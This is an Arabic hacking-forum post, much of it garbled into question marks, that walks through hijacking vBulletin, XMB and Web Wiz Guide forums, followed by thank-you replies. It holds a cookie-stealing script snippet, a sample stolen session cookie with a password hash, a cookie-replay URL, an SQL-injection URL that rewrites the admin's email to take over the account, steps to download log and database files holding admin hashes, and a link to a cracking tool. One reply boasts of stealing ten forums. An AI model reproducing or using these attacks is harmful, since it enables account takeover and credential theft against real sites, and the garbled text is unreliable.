جميع طرق اختراق المنتديات

[size=16]الموضوع : اختراق الـ vBulletin
المتطلبات : WebServer (تركيب سيرفر على جهازك الشخصي) + متصفح انترنت (اكسبلورر) .
المستوى : متوسط

ملاحظة : هذه الطريقة لست للـ vBulletin فقط !! يمكن ان تجربها على انواع اخرى من المنتديات .

----------
الثغرة :
---------

تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
document.write('

?? ?????? ???? ??? IP Adress ??? ??? ??? IP ????? ?? .

?????? ???? ??? ?? ?????? ????? ?????? ??? ??????? ???? ???? ????? ????? ?????? ??????? ?? ???? ?????? ???
?? ??? ????? ??????? ???? ????? ??? ???????? ?????? ???????? .. ?? ???? ??????? ?????? ??? ?????? ??? ???
???? ?? ???? ???? ??????? ????? (?? ?????? ??? ??? ?? ???? ??? ????? ????? ??? IIS ?? Apache ?? ????? ) .

???? ?? ??? ??????? ????? ?? ???? ??? ??? Log ????? ???????? ???? ?????? ????? ..
???? ?? ??? ??????? ?????? .. ???? ?????? Apche ????? logs ????? Acces Log .
???? ???? ??????? ???? ?????? ?? ??????? .. ???

???? ?? ????? ????? ????????? .. ???? :

GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb

ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54

20]=1012444064;%20bblastvi
sit=1011983161

??? ????? ???? .. ??? ???????? ??
???????? ?????? ??? ?????? ????? ???? ????? .. ??? ????? ?
?? ???? ????? ???? ????? ?????? ?? ??????? .. ???? ?????
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
???? ????? : " ???? ?????? ??? ( ??? ???? ???? ??? ???????....) "
?? ??? ?????? ??? ???? ?????? ?????? ??? ?? ????? ???? ??????? (???? ???? ??? ???????) ..
????? ????? ??? ???? ?????? ?????? ??? ???? ?????? .. ???? ??? (??????) ??? ?????? ?????? ?????????? ??? ????? ?????
??? ?? ?????? ?????? .. ?? ???? ??? ???? Forgot Password .. ?????? ?????? ??????? ???? ????? ?????? ?????? ..

????? ??? ???? ?? ??? ?? ????? ??? ??? !! ???? ??? ???? ?????? ????? ?? ???? .. !

------------
????
-----------

??????? ?? ??? ?????? ?? ?????? ??? HTML ?? (??????? + ??????? ?????? + ???????? + ??????? + ... )
(??? ???? ???? ?? ????? ??? ??? HTML ??? ???? ???? )

??? ??? ???? ??? ??? IMG .. ???? ?????? ??????? ???????? ??? ???? <script> ???? ???? <img> ?? <Demon> ??
?? ???? ???? ???? ???? ????? ??????? ???? ?? ???? ... ??? ?? ???? ????? ??? ??????? .
Be Secret .. Dont' be Lamer .

????? ?????? ?????? : 31 - 1 - 2002
?? ??????? ??? ??????? 2.2.0 ??? ???? ????? .

???? ?? ???????? ??? ??????? ?? ????? ???? ????????? ?? ??????? ????? ?????????

======================================
?????? ??????? VP
======================================
?????? ????????? ?? ???????? vb

. ?? ???????? ???? ?? ?????? ??????? ????? ?????

2. ???? ??????? ???? ???? ???????? ????? ???? ?????? ??

3. ???? ??? ?? ( ??????? ) ??????? ??????? ?? members .

?? ??????? ???????? ?????? :
http://URL/memberlist.php

URL = ??????? ???????? ???????

??? = - .com

4. ???? ??? ?? ?????? ?? ?????????? ??????? ??????? ???? ????? ???? ??????? ?? ?????? ???????? address bar .

????? ?? ????? ???? ?????? ?????? ??????? ?????? ?????? :

http://URL/member.php?soitgoe68e45u...info&userid=266

??? ??????? ?????? ???? = ??? ?????? ???????? ??? 266

5. ??? ????? ??? ????? ?? 266 ??? ????? ???? ????

http://URL/member.php?soitgoe68e45u...etinfo&userid=1

????? ??? ???? ???? ????????? ???? ?? ?????? ??????? administrator .

(((== ?? ??? ????? ?????? ?????? ????? ????? ?? ?? ?????? ?????? == ))

???? ??? ?????? ??? ??? ??????? ??????? ???????

6. ???? ??????? ?????? ?? ????? ?????????? ???? ??????? :

http://URL/member.php?action=login&...VALIDPASS&url=');'.$users=$DB_site->query('update+user+set+email='YOUR@EMAIL.HERE'+WHERE+userna me='ADMIN'').'

??????? ??? ????? ?????? ??????? ???????

URL = ??? ????? ????? ?????? ???????? ???????
VALIDUSER = ??? ???????? ????? ??
VALIDPASS = ???? ???? ?????? ??
YOUR@EMAIL.HERE = ?????? ???? ???? ?? ????????
ADMIN = ??? ???? ??????? ( ???? ??????? ??????? ??????? )

7. ??? ?? ????? ???? ?? ??? ?????? ??? ???? ???? ????? ??????? ??? ???? refresh .

8. ?? ???? ????? ??????? ????????
http://url/index.php

?? ???? ?????? ???????? ??? ???????? ????? ?? ???????? ???? ?? ????? ( ??? ?? ???? ????? ) .

?????? ????? ?? ?????? ??????? ???? ???? :

??? ??? ?????? ???? ?? ?????

you typed in the wrong password

9. ??? ????? ???? ???

???? ???? ????
forgot password

????? ????? ?????? ???? ???? ??? ????? ??????????

10. ???? ????? ????? ???? ???? ?????? ????? ???????

======================================
?????? ??????? xmb
======================================
????? ????????? ?? ??? xmb ?? ????????? ???? ?????? ???? ????? ?? ?????? ?????? ??? ?????? ?? ??????? ?????? ?? ????????? ?? ???? ??????? ??????????? ??? ???? ??? ???? ??? ??? ????? ??? ???? ?? ???..

??? ??????::
??? ?? ?????? ???? ????? ?? ??? ????? ?? ????????? ??? ????? ?? ???? ?????? ??? ??????? ?? ???? ???? ??? ?? ??? ???

??????? ??????:::
XMB 1.6 Magic Lantern Final

????? ????????:::
?? ??? ????? ?????<<< ??? ???? ?????? ????? ??? ????? ??? ???? ????? ?????? ?????:

1- ???? ??????? ??? ???? ???? http://www.google.com
2- ???? ?? ????? ????? XMB 1.6 Magic Lantern Final
3- ??? ??? ??????? ???????????? ?????? ????? ???? ?????? ??? ??????
?????? ????????? ??????? ????? ???????? ?? ?????? ????????.
4- ???? ??? ?? ????? ??? ?????? ?????? ??????? ??? ????? ???????
index_log.log ???? ??? ???? ?? ???
http://www.******.com/massegboard/index_log.log
5- ??? ???? ???? ??? ?????? ????? ?? ??? ?? ??????? ???? ???? ?????
?????????? ????????? ?????? ????? ???????.
6- ???? ???? ?????? ?? ??????? ?? ??? ?????? ???? ??????? ??? ????????
????? ??????? ???? ???? ??? ???? ???? ??????? ???? ????.
7- ???? ????? ??? ????? ?? ?????? ???? ??? ?? ??? ?????? ??? ???? ??
??? ????::
xmbuser=admin
????? ??? ????? ????? ?? ???
xmbpw=1faeb6747a31c854800ddf3c62b1717a
8- ???? ????? ?? ??? ?????? ???? ??? ??????? ??? ???? ????? ???? ????
CCI ?????? ?????? ???? ???? ????? ???? ???? ????????
ftp://www.cafecounterintelligence.com/cci/chigger.exe

======================================
?????? ??????? Web Wiz Guide
======================================
????:http://host.basharnet.com/forum

??? ???? ?????? ??????

?????? ?????

?????: ???? ???? ??????? Web Wiz Guide

???? ???? ??? google
????
Web Wiz forum

?????? ??? ?????? ?? ??????? ??? ???? ??? ??????? ???? ??????? ????? ??? forum
admin/wwforum.mdb

??? ????? ????? ???? ?? ???? microsoft office access

??? ?????? ??????? ?????? ????? ???? ??? admin

??? ???? ??????????

???? ??? ?? ???? ??????

تم اكتمال من الموضوع يارب يعجبكم

شكرااااااااااااا علي الموضوع

مشكور الزعيم

مشكووووووووووووور يا زعيم

شكرااااااااااااا علي الموضوع

ما ينفعش موضوع ضروري من اثبات

انا من زمان سارق 10 منتديات

بطريقه ساهله جدا ولحد الان مازلت نشتغل بيها

شكراااا يا زعيم
تحياتي:
جميع طرق اختراق المنتديات 1160209450_jojo_custom

امنووووووور يا زعيم

جيـــــــــــــــــــــــــــــــــد

دمت بود

مشكووووووووووووووووووووووووووووووور

مشكور
بس لو كان ثغرة جاهز للاستغلال احسن

لانه بلا تعقيد جاهز لرفع الشل

» اكبر فضيحة على مستوى المنتديات ؟؟؟؟؟؟